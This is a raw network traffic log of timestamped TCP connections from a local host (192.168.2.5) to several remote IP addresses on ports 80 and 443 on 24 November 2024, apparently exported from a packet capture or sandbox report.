Nov 24, 2024 04:23:27.884982109 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.885087967 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.885168076 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.885561943 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.885597944 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.706799984 CET	80	49872	31.41.244.11	192.168.2.5
Nov 24, 2024 04:23:28.706916094 CET	49872	80	192.168.2.5	31.41.244.11
Nov 24, 2024 04:23:28.714051008 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.714719057 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:28.714806080 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.715184927 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:28.715198994 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.984227896 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.988219023 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:28.988231897 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:28.988620996 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:28.988626003 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.045432091 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.045922041 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.046032906 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.046366930 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.046381950 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.157473087 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.162211895 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.162786007 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.162837982 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.162837982 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.162861109 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.162874937 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.165344954 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.165389061 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.165450096 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.165625095 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.165638924 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.315856934 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.317209005 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.317241907 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.317660093 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.317673922 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.431703091 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.431730032 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.431796074 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.431814909 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.432396889 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.432405949 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.432419062 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.432605982 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.432640076 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.432753086 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.437194109 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.437249899 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.437338114 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.437460899 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.437477112 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.479521990 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.482517958 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.482603073 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.482626915 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.482698917 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.482760906 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.482804060 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.482834101 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.482850075 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.485810995 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.485852003 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.486022949 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.486162901 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.486176014 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.674413919 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.678447008 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.678483963 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.678925991 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.678931952 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.760246992 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.763597965 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.763694048 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.763747931 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.769817114 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.769835949 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.769848108 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.769853115 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.778582096 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.778681993 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:29.778764963 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.780955076 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:29.781009912 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.117825031 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.117995024 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.118073940 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.122227907 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.122287035 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.122342110 CET	49875	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.122356892 CET	443	49875	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.205507994 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.205554962 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.205605984 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.267354012 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.267393112 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.579864979 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:30.583303928 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:30.699740887 CET	80	49869	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:30.702863932 CET	80	49881	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:30.702884912 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:30.702934980 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:30.742819071 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:30.862309933 CET	80	49881	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:30.887094975 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.913439035 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.913459063 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:30.914005995 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:30.914012909 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.269483089 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.274501085 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.274527073 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.275068998 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.275075912 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.281753063 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.282254934 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.282318115 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.282825947 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.282840014 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.321448088 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.324482918 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.324537039 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.324562073 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.324625969 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.324783087 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.324783087 CET	49876	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.324803114 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.324810982 CET	443	49876	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.328205109 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.328238010 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.328350067 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.328643084 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.328653097 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.630816936 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.631345987 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.631397963 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.631891966 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.631903887 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.713468075 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.713540077 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.713615894 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.713639975 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.716609955 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.718808889 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.721941948 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.721966982 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.726861000 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.726974964 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.727135897 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.731561899 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.731595039 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.734636068 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.737611055 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.737740993 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.737806082 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.737806082 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.737858057 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.737884045 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.762650967 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.762736082 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.762814999 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.766676903 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.766714096 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.989309072 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.993809938 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.993838072 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:31.994515896 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:31.994520903 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.086901903 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.090054035 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.090115070 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.090194941 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.129414082 CET	80	49881	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:32.129554987 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:32.135441065 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.135467052 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.135483027 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.135490894 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.240415096 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.240513086 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.240720034 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.265197992 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.265278101 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.424396992 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.427453995 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.427506924 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.427514076 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.427557945 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.503540039 CET	49880	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.503565073 CET	443	49880	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.520874977 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.520950079 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.521089077 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.628448009 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:32.628499985 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:32.840255022 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:32.840279102 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:32.840362072 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:32.841181040 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:32.841248035 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:33.107810020 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.157589912 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.189343929 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.189359903 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.189773083 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.189776897 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.515988111 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.552365065 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.555496931 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.559030056 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.585903883 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.614094019 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.726541996 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.726604939 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.727030993 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.727044106 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.727344036 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.727377892 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.727390051 CET	49882	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.727396011 CET	443	49882	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.727941990 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.728008032 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.728454113 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.728470087 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.740715027 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.740812063 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.740890026 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.741127014 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:33.741161108 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:33.940648079 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:33.940912008 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:34.051789045 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.054812908 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.054919958 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.060270071 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.060319901 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.060352087 CET	80	49892	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:34.060359955 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.060375929 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.060431004 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:34.060543060 CET	80	49881	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:34.060602903 CET	49881	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:34.063158035 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:34.068219900 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.071253061 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.071343899 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.081547976 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.081604958 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.081753969 CET	49884	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.081775904 CET	443	49884	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.090862989 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.090930939 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.091069937 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.102463007 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.102494955 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.103900909 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.103935003 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.104080915 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.104233027 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.104248047 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.118211985 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.182560921 CET	80	49892	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:34.186398029 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.186460972 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.186968088 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.186983109 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.347932100 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.437786102 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.437872887 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.438663960 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.438694954 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.569616079 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.572942972 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.573010921 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.573050022 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.573076963 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.573124886 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.585701942 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.632591009 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.632620096 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.632638931 CET	49885	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.632646084 CET	443	49885	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.684890985 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.695797920 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.695827007 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.696644068 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.696667910 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.696707010 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.697664022 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.697726965 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.697748899 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.702058077 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.702174902 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.708928108 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.708956957 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:34.781896114 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.782285929 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.782946110 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.868891954 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.868891954 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.868938923 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.868952990 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.875430107 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:34.908241034 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.908353090 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.908447027 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.910496950 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.910535097 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.910595894 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.963222980 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.963262081 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:34.963923931 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:34.963959932 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.438041925 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:35.438076019 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:35.438167095 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:35.438221931 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:35.438886881 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:35.439244032 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:35.452492952 CET	80	49892	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:35.452560902 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:35.456120968 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.612910032 CET	49890	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:35.612986088 CET	443	49890	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:35.656871080 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:35.656949043 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.657423019 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:35.657437086 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.822854042 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.885469913 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.889908075 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:35.973793030 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.976597071 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.976650000 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:35.976663113 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:35.976713896 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.001030922 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.010997057 CET	49896	443	192.168.2.5	13.107.246.63
